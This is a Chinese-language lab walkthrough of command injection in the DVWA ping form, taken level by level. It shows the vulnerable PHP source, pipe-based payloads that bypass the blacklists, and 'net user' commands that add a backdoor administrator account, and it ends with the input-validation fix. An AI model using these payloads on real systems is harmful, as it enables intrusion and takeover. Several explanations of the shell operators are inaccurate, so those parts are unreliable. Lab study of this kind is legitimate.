命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

stristr(a, b) 函数的作用是查找 b 字符串在 a 字符串中第一次出现的位置(无视大小写),找到则从匹配点返回 a 剩余的字符串,如果没找到就返回 FALSE

php_uname(‘s’) 效果类似 UNIX 系统的指令 “uname -s”,返回当前操作系统的名称


所以下面这句控制语句是在判断当前系统是否为 Windows

1
if( stristr( php_uname( 's' ), 'Windows NT' ) ) 

如果是Windows,就直接 ping

1
$cmd = shell_exec( 'ping  ' . $target ); 

否则,就指定参数 “ping -c 4”,意为 ping 4 次

1
$cmd = shell_exec( 'ping  -c 4 ' . $target ); 

漏洞点就在这里,当我们构造 $target 变量为 “127.0.0.1 | ipconfig“ 时,整个语句就会变为

1
$cmd = shell_exec( 'ping 127.0.0.1 | ipconfig' ); 

相当于只执行 “net user” 指令,下面给出命令连接符(部分) “& && | || ;” 的区别

1
2
3
4
command1 & command2    // 先执行1,不管是否成功,都会执行2
command1 && command2 // 先执行1,执行成功后执行2,否则不执行2
command1 | command2 // 只执行2
command1 || command2 // 只执行1

以上连接符在 Windows, Unix 中都可以使用

分号只可用在 Unix 中

1
command1 ; command2    // 执行1,不管是否成功,都会执行2 

所以 payload 前面的 “127.0.0.1” 写不写都无所谓了


之后通过 net user 来提权

1
2
3
| net user test /add  			// 添加一个 test 账户
| net localgroup Administrators test /add // 将用户加入到Administrators组
| net user test /active:yes // 激活用户

以后就可以通过具有管理员权限的 test 用户来控制系统了


Meduim

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

可以看到这里有了黑名单处理,’&&’ 与 ‘;’ 都会被替换为空字符

1
2
3
4
5
6
7
8
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

我们还有 ‘& |’ 等可以用,同样可以造成命令执行


High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

同样是黑名单,不过依然可以绕过,注意到

1
'| ' => '' 

此处的 ‘|’ 后面跟了一个空格,那么 payload 就可以通过将后面指令紧贴 ‘|’ 来绕过,如

1
|net user 

依旧造成了命令注入


Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里给出了一个解决方案

首先通过 stripslashes 函数去掉传过来的参数中的反斜杠

1
$target = stripslashes( $target ); 

然后通过 explode 函数将字符串按小数点拆分,返回一个数组,类似 python 中的 target.split(‘.’)

1
$octet = explode( ".", $target ); 

最后检查该数组长度是否为 4,每个元素是否是数字(正常的 ip 形似 192.168.1.1),所以无法再造成命令执行,其搭配了 token 更增加了安全系数

1
( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 )